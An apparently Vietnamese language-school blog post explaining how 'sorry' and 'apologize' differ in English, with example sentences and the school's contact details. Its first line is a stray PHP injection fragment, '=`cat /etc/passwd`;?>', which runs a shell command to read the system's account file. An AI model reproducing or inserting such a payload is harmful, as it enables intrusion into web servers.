=`cat /etc/passwd`;?>
Sorry và Apologize là hai từ chúng ta thường nghe sau khi một người làm điều gì đó có lỗi. Nhiều người cho rằng hai từ này giống nhau, tuy nhiên, hai từ này vẫn có những điểm khác biệt. Chúng ta sẽ đi sâu hơn và tìm hiểu cách sử dụng những từ này một cách chính xác. Hãy cùng bắt đầu nhé!
Lời xin lỗi (Apology) chính thức thừa nhận hành vi sai trái - có thể có hoặc có thể không được lòng – tức là một người có thể xin lỗi mà không cảm thấy hối hận.
Mặt khác, nói “I am sorry” thường được coi là thừa nhận sự hối tiếc chân thật hơn. Đó là được xem là “Lời xin lỗi chân thành”.
Chúng ta còn sử dụng “I’m sorry” để bày tỏ sự thông cảm. Ví dụ: “I am sorry for your loss” có thể thể hiện sự cảm thông sau mất mát một điều gì đó, nhưng chúng ta lại không sử dụng “I apologize” trong trường hợp này. “Apologize” là lời xin lỗi chỉ dành cho hành động sai trái gây ra.
Như đã đề cập ở trên, chúng ta sử dụng “I am sorry” để thể hiện sự hối hận hoặc ăn năn về hành động của mình. Bên cạnh đó, chúng ta cũng sử dụng “I am sorry” khi bạn muốn bày tỏ sự cảm thông đối với người đã trải qua mất mát, khó khăn.
So với Apologize, thì Sorry kém trang trọng hơn một chút nhưng lại chứa đựng cảm xúc và sự đồng cảm hơn. Tuy nhiên trong một số truờng hợp, tùy thuộc vào người nói và cách tiếp nhận của người nghe, câu nói “I am sorry” có thể phát ra âm thanh bị coi là mỉa mai, thiếu chân thành, đặc biệt nếu người nói không hoàn toàn thừa nhận lỗi của mình.
1. I am sorry to hear about your father’s tragic death. He was a remarkable man.
2. I am sorry that I disappointed you when I said I wouldn’t join the trip you organized.
3. I am sorry that I ruin your plans today.
4. I cannot tell you how sorry I am to hear that you lost your pet.
Chúng ta nói “I apologize” để chính thức thừa nhận rằng bạn đã làm sai điều gì đó, cho dù bạn có cảm thấy “sorry” về điều đó hay không. Vì vậy, mặc dù bạn có thể chính thức thừa nhận rằng những gì bạn đã làm là sai, nhưng bạn có thể không cảm thấy hối hận về hành động của mình.
Thông thường, chúng ta sử dụng sorry và apologize một cách ngẫu nhiên vì chúng ta nghĩ rằng chúng giống nhau. Nhưng thực ra chúng mang nội hàm khác nhau, chẳng hạn như chúng ta nói “sorry” khi chúng ta cảm thấy hối hận hoặc có trách nhiệm về hành động sai trái của mình. Và khi chúng ta nói ta nói “I apologize” thì nghe có vẻ trịnh trọng hơn là nói “I am sorry”.
1. I apologize for ruining your plans today.
2. I apologize for disappointing you when I said I wouldn’t join the trip you organized
3. I apologize if I made you feel uncomfortable on our first date.
4. If you think I was being rude, I apologize.
Kết luận
Sorry và Apologize là hai từ giống nhau về nghĩa và chúng thường được sử dụng thay thế cho nhau. Tuy nhiên, dù giống nhau nhưng cách diễn đạt của cả hai cũng có nội hàm riêng. Nhưng nhìn chung, “I am sorry” bao hàm cảm giác hối hận, còn “I apologize” thì không.
Xem thêm: Tiếng Anh online 1 kèm 1 cho từng đối tượng khác nhau
Mọi thông tin chi tiết về chương trình và đăng ký học thử tiếng Anh trực tuyến miễn phí, xin vui lòng liên hệ:
Phil Online - Tiếng Anh online 1 kèm 1 chất lượng cao
• Hotlines: 0909.720.092 - 0909.270.092
• Email: philonline@philenglish.vn
• Website: https://philonline.vn/
• Fanpage: Phil Online
Bình luận
Full name
Add a comment
COMMENT